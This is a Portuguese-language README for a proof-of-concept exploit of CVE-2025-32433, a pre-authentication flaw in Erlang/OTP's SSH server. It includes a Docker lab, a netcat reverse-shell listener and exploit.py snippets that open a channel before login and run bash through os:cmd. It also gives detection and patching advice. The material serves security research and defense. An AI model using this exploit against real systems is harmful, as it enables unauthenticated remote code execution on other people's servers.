
Exploit de prova de conceito para CVE-2025-32433, uma vulnerabilidade de confusão de canal pré-autenticação no SSH do Erlang/OTP, demonstrando bypass de autenticação e execução remota de código com um laboratório Docker.
Descrição: Uma demonstração da vulnerabilidade de Confusão de Canais Pré-Autenticação SSH Erlang/OTP.
Clique aqui para assistir à demonstração completa no YouTube
Sobre o que é esta PoC?
Esta Prova de Conceito demonstra CVE-2025-32433, uma vulnerabilidade na implementação do servidor SSH Erlang/OTP que permite a um atacante abrir canais SSH e executar comandos antes da autenticação.
Devido à aplicação inadequada das transições de estado do protocolo SSH, certas mensagens SSH (SSH_MSG_CHANNEL_OPEN e SSH_MSG_CHANNEL_REQUEST) são aceitas antes que a autenticação do usuário tenha sido concluída com sucesso. Isso resulta em uma burla de autenticação completa e execução remota de comandos dentro da VM Erlang.
O que deve estar vulnerável para que isso funcione?
A vulnerabilidade pode ser acionada quando as seguintes condições forem atendidas:
ssh do Erlang está ativadaImportante, este problema não depende de credenciais fracas ou má configuração, mas sim de um tratamento defeituoso do estado do protocolo.
Como a vulnerabilidade se manifesta e por que é explorável?
O problema decorre de uma falha de confusão de estado no servidor SSH Erlang/OTP, onde o estado de autenticação não é estritamente aplicado antes do processamento de mensagens relacionadas a canais.
Em alto nível, a exploração prossegue da seguinte forma:
SSH_MSG_CHANNEL_OPEN para um canal session.SSH_MSG_CHANNEL_REQUEST do tipo exec é enviada no canal aberto.os:cmd/1) dentro do contexto da VM.Este comportamento viola o modelo de protocolo SSH definido na RFC 4252/4254, onde a criação de canais e requisições só devem ser permitidas após autenticação bem-sucedida.
Em resumo:
ssh_connection processa requisições exec prematuramenteEsta é uma vulnerabilidade de lógica e gerenciamento de estado, não uma fraqueza criptográfica.
Os seguintes passos constroem e implantam um ambiente vulnerável autocontido usando Docker. O contêiner executa um servidor SSH deliberadamente endurecido que rejeita todas as credenciais, garantindo que qualquer execução de comando bem-sucedida seja resultado de uma burla de autenticação.
git clone https://github.com/AntonieSoga/Erlang-OTP-PoC_CVE-2025-32433.git
docker build -t erlang-ssh .

docker run -d --name erlang-ssh -p 2222:2222 erlang-ssh
Uma vez em execução, o daemon SSH será exposto na porta 2222 e estará pronto para exploração usando a PoC fornecida.
Este script explora uma falha no servidor SSH Erlang/OTP que permite que certas mensagens do protocolo SSH sejam processadas antes da autenticação.
O processo de exploração requer dois terminais: um para receber a conexão reversa e outro para lançar o exploit.
Ouvinte (Terminal 1):
nc -lvnp 4488
Execução do exploit (Terminal 2):
python3 exploit.py
Protocol Spoofing
s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
s.sendall(pad(kex))
Essas mensagens são usadas para fazer o servidor tratar a conexão como um cliente SSH legítimo. Elas avançam o estado do protocolo SSH o suficiente para permitir mensagens relacionadas a canais sem completar a autenticação.
Pre‑Authentication Session Channel
s.sendall(pad(b"\x5a" + s_pay("session") + struct.pack(">III", 0, 0x68000, 0x10000)))
Esta requisição é usada para abrir um canal de sessão antes da autenticação. Em servidores SSH Erlang/OTP vulneráveis, isso contorna os controles de acesso normais e cria uma sessão não autorizada.
Command Execution Request
erl_cmd = f'os:cmd("bash -c \'{escaped}\'").'
exec_req = b"\x62" + struct.pack(">I", 0) + s_pay("exec") + b"\x01" + s_pay(erl_cmd)
Esta requisição é usada para acionar a execução de comandos através do runtime Erlang. Encapsular o payload na sintaxe Erlang garante que o comando seja executado pela VM Erlang em vez de ser tratado como um comando shell SSH padrão.
Se o alvo for vulnerável, o comando fornecido é executado sem autenticação.


A defesa contra esta vulnerabilidade depende de uma segmentação de rede rigorosa e monitoramento no nível do protocolo, pois os logs de autenticação padrão podem não registrar as tentativas de burla (já que a autenticação é ignorada).
SSH_MSG_CHANNEL_OPEN (Tipo 90) são enviados imediatamente após a Troca de Chaves, sem um pacote SSH_MSG_USERAUTH_SUCCESS (Tipo 52) anterior.os:cmd inesperadas ou criação de processos shell que não se correlacionem com uma sessão de usuário autenticada com sucesso nos logs da aplicação.A única correção completa é aplicar um patch no runtime Erlang/OTP subjacente para impor transições de estado estritas.
Atualize o runtime Erlang/OTP imediatamente para uma versão que aplique verificações de autenticação antes da criação de canais. Certifique-se de estar executando uma versão mais recente do que as listadas na seção "Condições Afetadas".
Verifique os Lançamentos oficiais do Erlang/OTP no GitHub para os patches de segurança mais recentes.
Se uma atualização imediata não for viável, aplique os seguintes controles:
Desativar a Aplicação SSH: Se a interface SSH não for crítica para a missão, pare a aplicação para remover a superfície de ataque:
ssh:stop().
Lista de Permissões do Firewall: Limite estritamente o acesso de rede à porta SSH exposta apenas a sub-redes internas administrativas.
Antonie Șoga
AntonieSoga · Colaborador
Ene Călin Tudor
7uddy · Colaborador
Cristian Bănică
BanicaCristian04 · Colaborador
Apenas para pesquisa educacional e defensiva.
